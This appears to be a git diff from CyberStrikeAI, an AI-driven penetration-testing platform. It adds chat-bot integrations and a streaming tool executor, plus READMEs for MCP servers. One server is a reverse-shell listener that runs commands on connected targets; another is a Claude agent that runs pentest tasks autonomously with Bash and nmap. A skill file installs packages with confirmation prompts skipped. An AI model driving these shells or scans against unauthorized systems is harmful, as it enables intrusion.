+				backoff *= 2
+				if backoff > dingReconnectMax {
+					backoff = dingReconnectMax
+				}
+			}
+		}
+	}
+}
+
+func handleDingMessage(ctx context.Context, msg *chatbot.BotCallbackDataModel, h MessageHandler, logger *zap.Logger) {
+	if msg == nil || msg.SessionWebhook == "" {
+		return
+	}
+	content := ""
+	if msg.Text.Content != "" {
+		content = strings.TrimSpace(msg.Text.Content)
+	}
+	if content == "" && msg.Msgtype == "richText" {
+		if cMap, ok := msg.Content.(map[string]interface{}); ok {
+			if rich, ok := cMap["richText"].([]interface{}); ok {
+				for _, c := range rich {
+					if m, ok := c.(map[string]interface{}); ok {
+						if txt, ok := m["text"].(string); ok {
+							content = strings.TrimSpace(txt)
+							break
+						}
+					}
+				}
+			}
+		}
+	}
+	if content == "" {
+		logger.Debug("钉钉消息内容为空，已忽略", zap.String("msgtype", msg.Msgtype))
+		return
+	}
+	logger.Info("钉钉收到消息", zap.String("sender", msg.SenderId), zap.String("content", content))
+	userID := msg.SenderId
+	if userID == "" {
+		userID = msg.ConversationId
+	}
+	reply := h.HandleMessage("dingtalk", userID, content)
+	// 使用 markdown 类型以便正确展示标题、列表、代码块等格式
+	title := reply
+	if idx := strings.IndexAny(reply, "\n"); idx > 0 {
+		title = strings.TrimSpace(reply[:idx])
+	}
+	if len(title) > 50 {
+		title = title[:50] + "…"
+	}
+	if title == "" {
+		title = "回复"
+	}
+	body := map[string]interface{}{
+		"msgtype": "markdown",
+		"markdown": map[string]string{
+			"title": title,
+			"text":  reply,
+		},
+	}
+	bodyBytes, _ := json.Marshal(body)
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, msg.SessionWebhook, bytes.NewReader(bodyBytes))
+	if err != nil {
+		logger.Warn("钉钉构造回复请求失败", zap.Error(err))
+		return
+	}
+	req.Header.Set("Content-Type", "application/json")
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		logger.Warn("钉钉回复请求失败", zap.Error(err))
+		return
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		logger.Warn("钉钉回复非 200", zap.Int("status", resp.StatusCode))
+		return
+	}
+	logger.Debug("钉钉回复成功", zap.String("content_preview", reply))
+}

internal/robot/lark.go

@@ -0,0 +1,111 @@
+package robot
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	lark "github.com/larksuite/oapi-sdk-go/v3"
+	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
+	"github.com/larksuite/oapi-sdk-go/v3/event/dispatcher"
+	larkim "github.com/larksuite/oapi-sdk-go/v3/service/im/v1"
+	larkws "github.com/larksuite/oapi-sdk-go/v3/ws"
+	"go.uber.org/zap"
+)
+
+const (
+	larkReconnectInitial = 5 * time.Second  // 首次重连间隔
+	larkReconnectMax     = 60 * time.Second // 最大重连间隔
+)
+
+type larkTextContent struct {
+	Text string `json:"text"`
+}
+
+// StartLark 启动飞书长连接（无需公网），收到消息后调用 handler 并回复。
+// 断线（如笔记本睡眠、网络中断）后会自动重连；ctx 被取消时退出，便于配置变更时重启。
+func StartLark(ctx context.Context, cfg config.RobotLarkConfig, h MessageHandler, logger *zap.Logger) {
+	if !cfg.Enabled || cfg.AppID == "" || cfg.AppSecret == "" {
+		return
+	}
+	go runLarkLoop(ctx, cfg, h, logger)
+}
+
+// runLarkLoop 循环维持飞书长连接：断开且 ctx 未取消时按退避间隔重连。
+func runLarkLoop(ctx context.Context, cfg config.RobotLarkConfig, h MessageHandler, logger *zap.Logger) {
+	backoff := larkReconnectInitial
+	for {
+		larkClient := lark.NewClient(cfg.AppID, cfg.AppSecret)
+		eventHandler := dispatcher.NewEventDispatcher("", "").OnP2MessageReceiveV1(func(ctx context.Context, event *larkim.P2MessageReceiveV1) error {
+			go handleLarkMessage(ctx, event, h, larkClient, logger)
+			return nil
+		})
+		wsClient := larkws.NewClient(cfg.AppID, cfg.AppSecret,
+			larkws.WithEventHandler(eventHandler),
+			larkws.WithLogLevel(larkcore.LogLevelInfo),
+		)
+		logger.Info("飞书长连接正在连接…", zap.String("app_id", cfg.AppID))
+		err := wsClient.Start(ctx)
+		if ctx.Err() != nil {
+			logger.Info("飞书长连接已按配置重启关闭")
+			return
+		}
+		if err != nil {
+			logger.Warn("飞书长连接断开（如睡眠/断网），将自动重连", zap.Error(err), zap.Duration("retry_after", backoff))
+		}
+		select {
+		case <-ctx.Done():
+			return
+		case <-time.After(backoff):
+			if backoff < larkReconnectMax {
+				backoff *= 2
+				if backoff > larkReconnectMax {
+					backoff = larkReconnectMax
+				}
+			}
+		}
+	}
+}
+
+func handleLarkMessage(ctx context.Context, event *larkim.P2MessageReceiveV1, h MessageHandler, client *lark.Client, logger *zap.Logger) {
+	if event == nil || event.Event == nil || event.Event.Message == nil || event.Event.Sender == nil || event.Event.Sender.SenderId == nil {
+		return
+	}
+	msg := event.Event.Message
+	msgType := larkcore.StringValue(msg.MessageType)
+	if msgType != larkim.MsgTypeText {
+		logger.Debug("飞书暂仅处理文本消息", zap.String("msg_type", msgType))
+		return
+	}
+	var textBody larkTextContent
+	if err := json.Unmarshal([]byte(larkcore.StringValue(msg.Content)), &textBody); err != nil {
+		logger.Warn("飞书消息 Content 解析失败", zap.Error(err))
+		return
+	}
+	text := strings.TrimSpace(textBody.Text)
+	if text == "" {
+		return
+	}
+	userID := ""
+	if event.Event.Sender.SenderId.UserId != nil {
+		userID = *event.Event.Sender.SenderId.UserId
+	}
+	messageID := larkcore.StringValue(msg.MessageId)
+	reply := h.HandleMessage("lark", userID, text)
+	contentBytes, _ := json.Marshal(larkTextContent{Text: reply})
+	_, err := client.Im.Message.Reply(ctx, larkim.NewReplyMessageReqBuilder().
+		MessageId(messageID).
+		Body(larkim.NewReplyMessageReqBodyBuilder().
+			MsgType(larkim.MsgTypeText).
+			Content(string(contentBytes)).
+			Build()).
+		Build())
+	if err != nil {
+		logger.Warn("飞书回复失败", zap.String("message_id", messageID), zap.Error(err))
+		return
+	}
+	logger.Debug("飞书已回复", zap.String("message_id", messageID))
+}

internal/security/executor.go

@@ -9,6 +9,8 @@ import (
 	"os/exec"
 	"strconv"
 	"strings"
+	"sync"
+	"time"
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
@@ -17,6 +19,15 @@ import (
 	"go.uber.org/zap"
 )
 
+// ToolOutputCallback 用于在工具执行过程中把 stdout/stderr 增量推给上层（SSE）。
+// 通过 context 传递，避免修改 MCP ToolHandler 签名导致的“写死工具”问题。
+type ToolOutputCallback func(chunk string)
+
+type toolOutputCallbackCtxKey struct{}
+
+// ToolOutputCallbackCtxKey 是 context 中的 key，供 Agent 写入回调，Executor 读取并流式回调。
+var ToolOutputCallbackCtxKey = toolOutputCallbackCtxKey{}
+
 // Executor 安全工具执行器
 type Executor struct {
 	config        *config.SecurityConfig
@@ -144,7 +155,16 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
 		zap.Strings("args", cmdArgs),
 	)
 
-	output, err := cmd.CombinedOutput()
+	var output string
+	var err error
+	// 如果上层提供了 stdout/stderr 增量回调，则边执行边读取并回调。
+	if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
+		output, err = streamCommandOutput(cmd, cb)
+	} else {
+		outputBytes, err2 := cmd.CombinedOutput()
+		output = string(outputBytes)
+		err = err2
+	}
 	if err != nil {
 		// 检查退出码是否在允许列表中
 		exitCode := getExitCode(err)
@@ -224,22 +244,25 @@ func (e *Executor) RegisterTools(mcpServer *mcp.Server) {
 		toolName := toolConfig.Name
 		toolConfigCopy := toolConfig
 
-		// 使用简短描述（如果存在），否则使用详细描述的前100个字符
+		// 根据配置决定暴露给 AI/API 的描述：short_description 或 description
+		useFullDescription := strings.TrimSpace(strings.ToLower(e.config.ToolDescriptionMode)) == "full"
 		shortDesc := toolConfigCopy.ShortDescription
 		if shortDesc == "" {
-			// 如果没有简短描述，从详细描述中提取第一行或前100个字符
+			// 如果没有简短描述，从详细描述中提取第一行或前10000个字符
 			desc := toolConfigCopy.Description
-			if len(desc) > 100 {
-				// 尝试找到第一个换行符
-				if idx := strings.Index(desc, "\n"); idx > 0 && idx < 100 {
+			if len(desc) > 10000 {
+				if idx := strings.Index(desc, "\n"); idx > 0 && idx < 10000 {
 					shortDesc = strings.TrimSpace(desc[:idx])
 				} else {
-					shortDesc = desc[:100] + "..."
+					shortDesc = desc[:10000] + "..."
 				}
 			} else {
 				shortDesc = desc
 			}
 		}
+		if useFullDescription {
+			shortDesc = "" // 使用 description 时清空 ShortDescription，下游会回退到 Description
+		}
 
 		tool := mcp.Tool{
 			Name:             toolConfigCopy.Name,
@@ -303,7 +326,23 @@ func (e *Executor) buildCommandArgs(toolName string, toolConfig *config.ToolConf
 			}
 		}
 
-		// 先处理标志参数（对于大多数命令，标志应该在位置参数之前）
+		// 对于需要子命令的工具（如 gobuster dir），position 0 必须紧跟在命令名后、所有 flag 之前
+		for _, param := range positionalParams {
+			if param.Name == "additional_args" || param.Name == "scan_type" || param.Name == "action" {
+				continue
+			}
+			if param.Position != nil && *param.Position == 0 {
+				value := e.getParamValue(args, param)
+				if value == nil && param.Default != nil {
+					value = param.Default
+				}
+				if value != nil {
+					cmdArgs = append(cmdArgs, e.formatParamValue(param, value))
+				}
+				break
+			}
+		}
+
 		// 处理标志参数
 		for _, param := range flagParams {
 			// 跳过特殊参数，它们会在后面单独处理
@@ -416,7 +455,11 @@ func (e *Executor) buildCommandArgs(toolName string, toolConfig *config.ToolConf
 		}
 
 		// 按位置顺序处理参数，确保即使某些位置没有参数或使用默认值，也能正确传递
+		// position 0 已在前面插入（子命令优先），此处从 1 开始
 		for i := 0; i <= maxPosition; i++ {
+			if i == 0 {
+				continue
+			}
 			for _, param := range positionalParams {
 				// 跳过特殊参数，它们会在后面单独处理
 				// action 参数仅用于工具内部逻辑，不传递给命令
@@ -908,7 +951,16 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
 	}
 
 	// 非后台命令：等待输出
-	output, err := cmd.CombinedOutput()
+	var output string
+	var err error
+	// 若上层提供工具输出增量回调，则边执行边流式读取。
+	if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
+		output, err = streamCommandOutput(cmd, cb)
+	} else {
+		outputBytes, err2 := cmd.CombinedOutput()
+		output = string(outputBytes)
+		err = err2
+	}
 	if err != nil {
 		e.logger.Error("系统命令执行失败",
 			zap.String("command", command),
@@ -942,6 +994,78 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
 	}, nil
 }
 
+// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
+// 保持输出内容完整拼接返回，并用 cb(chunk) 向上层持续推送。
+func streamCommandOutput(cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
+	stdoutPipe, err := cmd.StdoutPipe()
+	if err != nil {
+		return "", err
+	}
+	stderrPipe, err := cmd.StderrPipe()
+	if err != nil {
+		_ = stdoutPipe.Close()
+		return "", err
+	}
+	if err := cmd.Start(); err != nil {
+		_ = stdoutPipe.Close()
+		_ = stderrPipe.Close()
+		return "", err
+	}
+
+	chunks := make(chan string, 64)
+	var wg sync.WaitGroup
+	readFn := func(r io.Reader) {
+		defer wg.Done()
+		br := bufio.NewReader(r)
+		for {
+			s, readErr := br.ReadString('\n')
+			if s != "" {
+				chunks <- s
+			}
+			if readErr != nil {
+				// EOF 正常结束
+				return
+			}
+		}
+	}
+
+	wg.Add(2)
+	go readFn(stdoutPipe)
+	go readFn(stderrPipe)
+
+	go func() {
+		wg.Wait()
+		close(chunks)
+	}()
+
+	var outBuilder strings.Builder
+	var deltaBuilder strings.Builder
+	lastFlush := time.Now()
+
+	flush := func() {
+		if deltaBuilder.Len() == 0 {
+			return
+		}
+		cb(deltaBuilder.String())
+		deltaBuilder.Reset()
+		lastFlush = time.Now()
+	}
+
+	for chunk := range chunks {
+		outBuilder.WriteString(chunk)
+		deltaBuilder.WriteString(chunk)
+		// 简单节流：buffer 大于 2KB 或 200ms 就刷新一次
+		if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
+			flush()
+		}
+	}
+	flush()
+
+	// 等待命令结束，返回最终退出状态
+	waitErr := cmd.Wait()
+	return outBuilder.String(), waitErr
+}
+
 // executeInternalTool 执行内部工具（不执行外部命令）
 func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) {
 	// 提取内部工具类型（去掉 "internal:" 前缀）
@@ -1190,7 +1314,15 @@ func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]in
 		required := []string{}
 
 		for _, param := range toolConfig.Parameters {
-			// 转换类型为OpenAI/JSON Schema标准类型
+			// 跳过 name 为空的参数（避免 YAML 中 name: null 或空导致非法 schema）
+			if strings.TrimSpace(param.Name) == "" {
+				e.logger.Debug("跳过无名称的参数",
+					zap.String("tool", toolConfig.Name),
+					zap.String("type", param.Type),
+				)
+				continue
+			}
+			// 转换类型为OpenAI/JSON Schema标准类型（空类型默认为 string）
 			openAIType := e.convertToOpenAIType(param.Type)
 
 			prop := map[string]interface{}{
@@ -1198,6 +1330,17 @@ func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]in
 				"description": param.Description,
 			}
 
+			// JSON Schema/OpenAI 要求 array 类型必须包含 items，否则 API 报 invalid_function_parameters
+			if openAIType == "array" {
+				itemType := strings.TrimSpace(param.ItemType)
+				if itemType == "" {
+					itemType = "string"
+				}
+				prop["items"] = map[string]interface{}{
+					"type": e.convertToOpenAIType(itemType),
+				}
+			}
+
 			// 添加默认值
 			if param.Default != nil {
 				prop["default"] = param.Default
@@ -1232,6 +1375,10 @@ func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]in
 
 // convertToOpenAIType 将配置中的类型转换为OpenAI/JSON Schema标准类型
 func (e *Executor) convertToOpenAIType(configType string) string {
+	// 空或 null 类型统一视为 string，避免非法 schema 导致工具调用失败
+	if strings.TrimSpace(configType) == "" {
+		return "string"
+	}
 	switch configType {
 	case "bool":
 		return "boolean"

mcp-servers/README.md

@@ -0,0 +1,49 @@
+# MCP Servers
+
+[中文](README_CN.md)
+
+This directory contains **standalone MCP (Model Context Protocol) servers**. They speak the standard MCP protocol over stdio (or HTTP/SSE when a server supports it), so **any MCP client** can use them—not only CyberStrikeAI, but also **Cursor**, **VS Code** (with an MCP extension), **Claude Code**, and other clients that support MCP.
+
+**We will keep adding useful MCP servers here.** New servers will cover security testing, automation, and integration scenarios. Stay tuned for updates.
+
+## Available servers
+
+| Server | Description |
+|--------|-------------|
+| [reverse_shell](reverse_shell/) | Reverse shell listener: start/stop listener, send commands to connected targets, full interactive workflow. |
+
+## How to use
+
+These MCPs are configured per client. Use **absolute paths** for `command` and `args` when using stdio.
+
+### CyberStrikeAI
+
+1. Open Web UI → **Settings** → **External MCP**.
+2. Add a new external MCP and fill in the JSON config (see each server’s README for the exact config).
+3. Save and click **Start**; the tools will appear in conversations.
+
+### Cursor
+
+Add the server to Cursor’s MCP config (e.g. **Settings → Tools & MCP → Add Custom MCP**, or edit `~/.cursor/mcp.json` / project `.cursor/mcp.json`). Example for a stdio server:
+
+```json
+{
+  "mcpServers": {
+    "reverse-shell": {
+      "command": "/absolute/path/to/venv/bin/python3",
+      "args": ["/absolute/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
+    }
+  }
+}
+```
+
+Replace the paths with your actual paths. Cursor will spawn the process and talk MCP over stdio.
+
+### VS Code (MCP extension) / Claude Code / other clients
+
+Configure the client to run the server via **stdio**: set the **command** to your Python executable and **args** to the script path (see each server’s README). The client will launch the process and communicate over stdin/stdout. Refer to your client’s docs for where to put the config (e.g. `.mcp.json`, `~/.claude.json`, or the extension’s settings).
+
+## Requirements
+
+- Python 3.10+ for Python-based servers.
+- Use the project’s `venv` when possible: e.g. `venv/bin/python3` and the script under `mcp-servers/`.

mcp-servers/README_CN.md

@@ -0,0 +1,49 @@
+# MCP 服务
+
+[English](README.md)
+
+本目录存放 **独立 MCP（Model Context Protocol）服务**，采用标准 MCP 协议（stdio 或部分服务支持 HTTP/SSE），因此 **任意支持 MCP 的客户端** 均可使用——不限于 CyberStrikeAI，**Cursor**、**VS Code**（配合 MCP 扩展）、**Claude Code** 等均可接入。
+
+**我们会持续在此新增好用的 MCP 服务**，覆盖安全测试、自动化与集成等场景，敬请关注。
+
+## 已提供服务
+
+| 服务 | 说明 |
+|------|------|
+| [reverse_shell](reverse_shell/) | 反向 Shell：开启/停止监听、与已连接目标交互执行命令，完整交互流程。 |
+
+## 使用方式
+
+各 MCP 需在对应客户端里配置后使用。stdio 模式下 `command` 与 `args` 请使用**绝对路径**。
+
+### CyberStrikeAI
+
+1. 打开 Web 界面 → **设置** → **外部 MCP**。
+2. 添加新的外部 MCP，按各服务目录下 README 的说明填写 JSON 配置。
+3. 保存后点击 **启动**，对话中即可使用对应工具。
+
+### Cursor
+
+在 Cursor 的 MCP 配置中添加（如 **Settings → Tools & MCP → Add Custom MCP**，或编辑 `~/.cursor/mcp.json` / 项目下的 `.cursor/mcp.json`）。stdio 示例：
+
+```json
+{
+  "mcpServers": {
+    "reverse-shell": {
+      "command": "/你的绝对路径/venv/bin/python3",
+      "args": ["/你的绝对路径/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
+    }
+  }
+}
+```
+
+将路径替换为实际路径后，Cursor 会启动该进程并通过 stdio 与 MCP 通信。
+
+### VS Code（MCP 扩展）/ Claude Code / 其他客户端
+
+在对应客户端中配置为通过 **stdio** 启动：**command** 填 Python 可执行文件路径，**args** 填脚本路径（详见各服务 README）。配置位置依客户端而定（如 `.mcp.json`、`~/.claude.json` 或扩展设置），请查阅该客户端的 MCP 说明。
+
+## 依赖说明
+
+- 基于 Python 的服务需 Python 3.10+。
+- 建议使用项目自带的 `venv`，例如 `venv/bin/python3` 配合 `mcp-servers/` 下脚本路径。

mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md

@@ -0,0 +1,142 @@
+---
+name: find-skills
+description: Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
+---
+
+# Find Skills
+
+This skill helps you discover and install skills from the open agent skills ecosystem.
+
+## When to Use This Skill
+
+Use this skill when the user:
+
+- Asks "how do I do X" where X might be a common task with an existing skill
+- Says "find a skill for X" or "is there a skill for X"
+- Asks "can you do X" where X is a specialized capability
+- Expresses interest in extending agent capabilities
+- Wants to search for tools, templates, or workflows
+- Mentions they wish they had help with a specific domain (design, testing, deployment, etc.)
+
+## What is the Skills CLI?
+
+The Skills CLI (`npx skills`) is the package manager for the open agent skills ecosystem. Skills are modular packages that extend agent capabilities with specialized knowledge, workflows, and tools.
+
+**Key commands:**
+
+- `npx skills find [query]` - Search for skills interactively or by keyword
+- `npx skills add <package>` - Install a skill from GitHub or other sources
+- `npx skills check` - Check for skill updates
+- `npx skills update` - Update all installed skills
+
+**Browse skills at:** https://skills.sh/
+
+## How to Help Users Find Skills
+
+### Step 1: Understand What They Need
+
+When a user asks for help with something, identify:
+
+1. The domain (e.g., React, testing, design, deployment)
+2. The specific task (e.g., writing tests, creating animations, reviewing PRs)
+3. Whether this is a common enough task that a skill likely exists
+
+### Step 2: Check the Leaderboard First
+
+Before running a CLI search, check the [skills.sh leaderboard](https://skills.sh/) to see if a well-known skill already exists for the domain. The leaderboard ranks skills by total installs, surfacing the most popular and battle-tested options.
+
+For example, top skills for web development include:
+- `vercel-labs/agent-skills` — React, Next.js, web design (100K+ installs each)
+- `anthropics/skills` — Frontend design, document processing (100K+ installs)
+
+### Step 3: Search for Skills
+
+If the leaderboard doesn't cover the user's need, run the find command:
+
+```bash
+npx skills find [query]
+```
+
+For example:
+
+- User asks "how do I make my React app faster?" → `npx skills find react performance`
+- User asks "can you help me with PR reviews?" → `npx skills find pr review`
+- User asks "I need to create a changelog" → `npx skills find changelog`
+
+### Step 4: Verify Quality Before Recommending
+
+**Do not recommend a skill based solely on search results.** Always verify:
+
+1. **Install count** — Prefer skills with 1K+ installs. Be cautious with anything under 100.
+2. **Source reputation** — Official sources (`vercel-labs`, `anthropics`, `microsoft`) are more trustworthy than unknown authors.
+3. **GitHub stars** — Check the source repository. A skill from a repo with <100 stars should be treated with skepticism.
+
+### Step 5: Present Options to the User
+
+When you find relevant skills, present them to the user with:
+
+1. The skill name and what it does
+2. The install count and source
+3. The install command they can run
+4. A link to learn more at skills.sh
+
+Example response:
+
+```
+I found a skill that might help! The "react-best-practices" skill provides
+React and Next.js performance optimization guidelines from Vercel Engineering.
+(185K installs)
+
+To install it:
+npx skills add vercel-labs/agent-skills@react-best-practices
+
+Learn more: https://skills.sh/vercel-labs/agent-skills/react-best-practices
+```
+
+### Step 6: Offer to Install
+
+If the user wants to proceed, you can install the skill for them:
+
+```bash
+npx skills add <owner/repo@skill> -g -y
+```
+
+The `-g` flag installs globally (user-level) and `-y` skips confirmation prompts.
+
+## Common Skill Categories
+
+When searching, consider these common categories:
+
+| Category        | Example Queries                          |
+| --------------- | ---------------------------------------- |
+| Web Development | react, nextjs, typescript, css, tailwind |
+| Testing         | testing, jest, playwright, e2e           |
+| DevOps          | deploy, docker, kubernetes, ci-cd        |
+| Documentation   | docs, readme, changelog, api-docs        |
+| Code Quality    | review, lint, refactor, best-practices   |
+| Design          | ui, ux, design-system, accessibility     |
+| Productivity    | workflow, automation, git                |
+
+## Tips for Effective Searches
+
+1. **Use specific keywords**: "react testing" is better than just "testing"
+2. **Try alternative terms**: If "deploy" doesn't work, try "deployment" or "ci-cd"
+3. **Check popular sources**: Many skills come from `vercel-labs/agent-skills` or `ComposioHQ/awesome-claude-skills`
+
+## When No Skills Are Found
+
+If no relevant skills exist:
+
+1. Acknowledge that no existing skill was found
+2. Offer to help with the task directly using your general capabilities
+3. Suggest the user could create their own skill with `npx skills init`
+
+Example:
+
+```
+I searched for skills related to "xyz" but didn't find any matches.
+I can still help you with this task directly! Would you like me to proceed?
+
+If this is something you do often, you could create your own skill:
+npx skills init my-xyz-skill
+```

mcp-servers/pent_claude_agent/README.md

@@ -0,0 +1,85 @@
+# Pent Claude Agent MCP
+
+[中文](README_CN.md)
+
+AI-powered **penetration testing engineer** MCP server. CyberStrikeAI can command it to run pentest tasks, analyze vulnerabilities, and perform security diagnostics. The agent runs a Claude-based AI internally and can be configured with its own MCP servers and tools.
+
+## Tools
+
+| Tool | Description |
+|------|-------------|
+| `pent_claude_run_pentest_task` | Run a penetration testing task. The agent executes independently and returns results. |
+| `pent_claude_analyze_vulnerability` | Analyze vulnerability information and provide remediation suggestions. |
+| `pent_agent_execute` | Execute a task. The agent chooses appropriate tools and methods. |
+| `pent_agent_diagnose` | Diagnose a target (URL, IP, domain) for security assessment. |
+| `pent_claude_status` | Get the current status of pent_claude_agent. |
+
+## Requirements
+
+- Python 3.10+
+- `mcp`, `claude-agent-sdk`, `pyyaml` (included if using the project venv; otherwise: `pip install mcp claude-agent-sdk pyyaml`)
+
+## Configuration
+
+The agent uses `pent_claude_agent_config.yaml` in this directory by default. You can override via:
+
+- `--config /path/to/config.yaml` when starting the MCP server
+- Environment variable `PENT_CLAUDE_AGENT_CONFIG`
+
+Config options (see `pent_claude_agent_config.yaml`):
+
+- `cwd`: Working directory for the agent
+- `allowed_tools`: Tools the agent can use (Read, Write, Bash, Grep, Glob, etc.)
+- `mcp_servers`: MCP servers the agent can use (e.g. reverse_shell)
+- `env`: Environment variables (API keys, etc.)
+- `system_prompt`: Role and behavior definition
+
+Path placeholders: `${PROJECT_ROOT}` = CyberStrikeAI root, `${SCRIPT_DIR}` = this script's directory.
+
+## Setup in CyberStrikeAI
+
+1. **Paths**  
+   Example: project root `/path/to/CyberStrikeAI-main`  
+   Script: `/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
+
+2. **Web UI** → **Settings** → **External MCP** → **Add External MCP**. Paste JSON (replace paths with yours):
+
+```json
+{
+  "pent-claude-agent": {
+    "command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
+    "args": [
+      "/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
+      "--config",
+      "/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
+    ],
+    "description": "Penetration testing engineer: run pentest tasks, analyze vulnerabilities, get status",
+    "timeout": 300,
+    "external_mcp_enable": true
+  }
+}
+```
+
+   - `command`: Prefer the project **venv** Python; or use system `python3`.
+   - `args`: **Must be absolute path** to `mcp_pent_claude_agent.py`. Add `--config` and config path if needed.
+   - `timeout`: 300 recommended (pentest tasks can be long).
+   - Save, then click **Start** for this MCP to use the tools in chat.
+
+3. **Typical workflow**
+   - CyberStrikeAI calls `pent_claude_run_pentest_task("Scan target 192.168.1.1 for open ports")`.
+   - pent_claude_agent starts a Claude agent internally, which may use Bash, nmap, etc.
+   - Results are returned to CyberStrikeAI.
+
+## Run locally (optional)
+
+```bash
+# From project root, with venv
+./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
+```
+
+The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
+
+## Security
+
+- Use only in authorized, isolated test environments.
+- API keys in config should be kept secure; prefer environment variables for production.

mcp-servers/pent_claude_agent/README_CN.md

@@ -0,0 +1,85 @@
+# Pent Claude Agent MCP
+
+[English](README.md)
+
+AI 驱动的**渗透测试工程师** MCP 服务。CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务、分析漏洞、进行安全诊断。Agent 内部使用 Claude Agent SDK，可独立配置 MCP、工具等，作为独立的渗透测试工程师运行。
+
+## 工具说明
+
+| 工具 | 说明 |
+|------|------|
+| `pent_claude_run_pentest_task` | 执行渗透测试任务，Agent 独立执行并返回结果。 |
+| `pent_claude_analyze_vulnerability` | 分析漏洞信息并给出修复建议。 |
+| `pent_agent_execute` | 执行指定任务，Agent 自动选择工具和方法。 |
+| `pent_agent_diagnose` | 对目标（URL、IP、域名）进行安全诊断。 |
+| `pent_claude_status` | 获取 pent_claude_agent 的当前状态。 |
+
+## 依赖
+
+- Python 3.10+
+- `mcp`、`claude-agent-sdk`、`pyyaml`（使用项目 venv 时已包含；单独运行需：`pip install mcp claude-agent-sdk pyyaml`）
+
+## 配置
+
+Agent 默认使用本目录下的 `pent_claude_agent_config.yaml`。可通过以下方式覆盖：
+
+- 启动 MCP 时传入 `--config /path/to/config.yaml`
+- 环境变量 `PENT_CLAUDE_AGENT_CONFIG`
+
+配置项（参见 `pent_claude_agent_config.yaml`）：
+
+- `cwd`: Agent 工作目录
+- `allowed_tools`: Agent 可用的工具（Read、Write、Bash、Grep、Glob 等）
+- `mcp_servers`: Agent 可挂载的 MCP 服务器（如 reverse_shell）
+- `env`: 环境变量（API Key 等）
+- `system_prompt`: 角色与行为定义
+
+路径占位符：`${PROJECT_ROOT}` = CyberStrikeAI 项目根目录，`${SCRIPT_DIR}` = 本脚本所在目录。
+
+## 在 CyberStrikeAI 中接入
+
+1. **路径**  
+   例如项目根为 `/path/to/CyberStrikeAI-main`，则脚本路径为：  
+   `/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
+
+2. **Web 界面** → **设置** → **外部 MCP** → **添加外部 MCP**，填入以下 JSON（将路径替换为你的实际路径）：
+
+```json
+{
+  "pent-claude-agent": {
+    "command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
+    "args": [
+      "/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
+      "--config",
+      "/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
+    ],
+    "description": "渗透测试工程师：下发任务后独立执行并返回结果",
+    "timeout": 300,
+    "external_mcp_enable": true
+  }
+}
+```
+
+   - `command`：建议使用项目 **venv** 中的 Python，或系统 `python3`。
+   - `args`：**必须使用绝对路径** 指向 `mcp_pent_claude_agent.py`。如需指定配置可追加 `--config` 及配置路径。
+   - `timeout`：建议 300（渗透测试任务可能较长）。
+   - 保存后点击该 MCP 的 **启动**，即可在对话中通过 AI 调用上述工具。
+
+3. **使用流程示例**
+   - CyberStrikeAI 调用 `pent_claude_run_pentest_task("扫描目标 192.168.1.1 的开放端口")`。
+   - pent_claude_agent 内部启动 Claude Agent，可能使用 Bash、nmap 等工具执行。
+   - 结果返回给 CyberStrikeAI。
+
+## 本地单独运行（可选）
+
+```bash
+# 在项目根目录，使用 venv
+./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
+```
+
+进程通过 stdio 与 MCP 客户端通信；CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
+
+## 安全提示
+
+- 仅在有授权、隔离的测试环境中使用。
+- 配置中的 API Key 需妥善保管；生产环境建议使用环境变量。

mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py

@@ -0,0 +1,227 @@
+#!/usr/bin/env python3
+"""
+Pent Claude Agent MCP Server - 渗透测试工程师 MCP 服务
+
+通过 MCP 协议暴露 AI 渗透测试能力：CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务。
+pent_claude_agent 内部使用 Claude Agent SDK，可独立配置 MCP、工具等，作为独立的渗透测试工程师运行。
+
+依赖：pip install mcp claude-agent-sdk（或使用项目 venv）
+运行：python mcp_pent_claude_agent.py [--config /path/to/config.yaml]
+"""
+
+from __future__ import annotations
+
+import argparse
+import asyncio
+import os
